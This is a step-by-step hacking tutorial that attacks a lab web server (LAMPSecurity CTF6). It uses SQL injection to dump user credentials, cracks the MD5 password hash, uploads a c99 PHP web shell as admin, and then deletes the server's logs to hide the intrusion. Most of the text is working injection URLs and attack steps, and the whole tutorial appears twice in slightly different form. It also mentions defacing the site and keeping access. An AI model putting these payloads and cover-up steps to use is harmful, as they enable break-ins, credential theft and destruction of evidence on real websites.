Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uB7jl1-OpCbIy2zBw1hCCGyf2YgNhaEBsUxkbsWoklgfZ6odp50u4jB8pRfQhsPgcbx2Y5-oEkOscKXP4ylpkG1VbbhQhQsBcLyd3LkxM60gAoe7DNnJRyIrBOOsAb9ClDrsrgE5Y4lZluPJ4l2KsxBwOiezNWHmdAZNc8_c072t64=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sfKdkssPRegL-L2WMrEtAeJlDLutT0-Lz4wP6irW1gThnuLycWOZTHv85PUedngs-Px0rYwUlk3jRGRdRfyOwqAi-PXnQXWW2KibjgqPkXBrGJ3rgM4DXybvlHOe3dTJuBoFGtmp-oSQEYm5KF9znxxr7bAJBobSo_vGxcXzFk5tATiA=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sN1jB2SBHfsc5I4A8QtLBTuc96AJe6J3LCX0fHtUwAUKvkOxB1H3DdWprx4tY2COHW0ISEGWY0awRvVEVhJXoXUDJLdtM8SXxz9w5TGCod6HRtGH0WOjuWJ5f45-fyoFwu1qsd3L4Dbql_QZ3YP5ZlTRnVAVYqydwOtpy1Hy-OQbdZQQ=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u6kfmUoLFMQhAARpFX_slVPpfLjipUGPbvIiuAypx6RCBOY7VpSazXmX5PxlhAJV8aIt_NIW_YDEkoQi8ECNjCt9vZwPrVllWKVt6haAHAAcyBaQIdRFi3oQQMedUI9ijVcRomx7Q5_emrXRIja6aEej2zGaLu-0UyMwbqG0yne5pt7w=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v-7IjhxN4jZxV3Rhe2OEV08UCM5PozJOZx--prGXxIpRjXrkmhiCq4Qnii-jAcpe7leSl_Sl16N8sOUzAMhSBusU4BgKFbXRkq36ntqyu2VtAE3bdGDUui-d8cgRj9VD5a8E0NmM1whPzqTZdZetEL11SDKAd2201eijiW93YvYq2QBA=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t151_4KyAT-a0gEx23jmXeY6d3w5iWykwooxxWadgV2YPbv5uq1nhRegq1OpvBjMp0_YSuRImMmTPSo_nT1_hYpXWq75CSea8LZ3muXHA8asADa0lgSJzCq9X6xVnW6ueYkAivJxMEMbkkwmXVJhwp3jnFnLv0FChA-2bnvby1S2Rk=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sJSWIGLC-xEbPrjpuewXnCl6UHbbQtZ95I8ch4p-YhyoAwFZy35XDv6ZM2ciUYhUvDdc0g8plPc_lY2sxpeWRMYjKFN-5Qy73EKX69TBbpnxSgVrQ_58MUnRPR7c5ex5ZAVa-NHQJ15THfmRKV2FMyLGPxOSuMXt-Y98y0hUA_R-CCs2w=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vLbpENH_3386SjOoSHVYabBWoqv3wJlc_ppm5WCTE15Lv1qp1U0hbR88Ykk5k8W91Ml-sGLjuz1S6QVZA7PL-tzs_DNFCBP6g15W0aNb4RQs-St96i0b0hV8rjJKtk9UQepirQNLcRyP-2y3o4EE3a_5ZkUBPWAbXOdFpCu6gPR8B8nWk=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sp9nanY5Ble2nrgZJczLmtKSzufj85-UMO5sdHp9TP8Jr3NUGLSiZCuUXBGn4HSBqU8rF6NRQ9vSeWlg2p0WXyzkCF-IWhKRwjLao2elxPbO9h6NkMLMXBxy9FNXyoJ6bByw1_-raVfpMq3XHmqZRYDtVBXtCK0pLJfnzsnepA_Ut7BJQ=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vVQ-fPL2NuJMX_ndJWbbGYEYyDcFvkG-r0l032-vd29y7KXH6j0A2UM26k7LLUoHg6M4kt19cbco5dDbu3b5abbNIXY4jpr-76yZMxMskkD5ZBvouW2kUX_c_v56tUeCCZm0MaF14T7i3HjCJa10_BoX0jHJy5FWJbferFwtr194T9bmQ=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sk-rR3l0K_TA-yUU_hjn9p4LMQfQ80BptQsGGX946z5kapdGtZR_nN_mL4A2nCRDHo-uifjzeerRseh5PCBf_PjpEiaYopbqCxC3RTgeIG1xB-q_tWC-MprMOxazr4simvUC8-RdigXTS-R-DhLmxXGP--BRBzaSwxLQkV5jtseKFhKg=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v795B1NOiL8z-cg9sANVnDO8F7Hr64vDQi4I5T0wxvU0Q1GrTTgPyiqzp6iyaZcN393IkqJV_svkNbn9cglAFK8PpCuOsAaUPO_swMaFYWHzMQAa9vEupUZjolCJVP9TnB32QktJW-KLabXyyluUUSiR9jAP3geMCmBG0xQQwXylcnqc8=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tDKAN5uBy8HFLQNYBxuMDCfn022_dXQdJnQsK-xEjcmOUkvsqPtYJ_fgtm9np1sytwRdSqAnVsqj_lqo_mt-kJOkMzq12WX2qzQYGpk7f0oXnEBnwRGo8YEYJ4Rah-WTPSEbgcWBLm1bsoR7_ZRtT7RJlwQVkMDsQWXlZZFkAAEbMovs0=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uNGhbyg55aaAXgJttuNKX1X5N08TsEF_tk0otm4Fo3S-ye_xjjm2jerfv-sn8FdgfGg70bA-qa9e6ZZCN_Xd0ZzPguzR6jWEGE0AZlSNyPJeuW5X_Hmso3L8TLAArebxGvggsOfSL54tGpM5QEgIpqg8LDJlneuHR0pbPHVbDywd9JRg=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_shCxw97SduuOetX_ERU306A0O80YHWCTS2OrH1oGaJJqSWfO0pDW66mLPVXCOplmusxyzOlARsrwcr5fR19vLRemflSrIpMRnPDU0SaWa94SFFB9fXtLPLYq4SeE9n9I1SemIQQ6lqu9FCFrCWrhTFxnv6Mm4eHQTvBE0JgF1OMGtNMg=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ulL435UKCnP7novn6DjzD_Rk3kkUNHQ9qTAUB6CqpKb8V7VJQ1kLMGau4GTznd3pKk026IwjyZOnAmmRjNxAQ2IYxQtXemD1sozs1DHC_Iq9exu-UtmqFk_eWVccnR4fjwRdWCZWzQigFJM9GeBmcpNCqbuy3rH6FtC4JeUlio_Nz1J8o=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_suxktj9yB-QB3wVCK_Rps4RWNMBqBzUPzscApGur3yMjrBbseBJHZMjvEejTj30JLQxT56En6Q8WfSHEPjzPqrBkJvtoBjXPUkkhvckFrMxwi7xhCgs54i1CPFl_-tPudWIGb6_ZqFr-HkPMvjhN7iZ2UnvjzE-Os1vhLxGYkFK2v7Pvs=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.
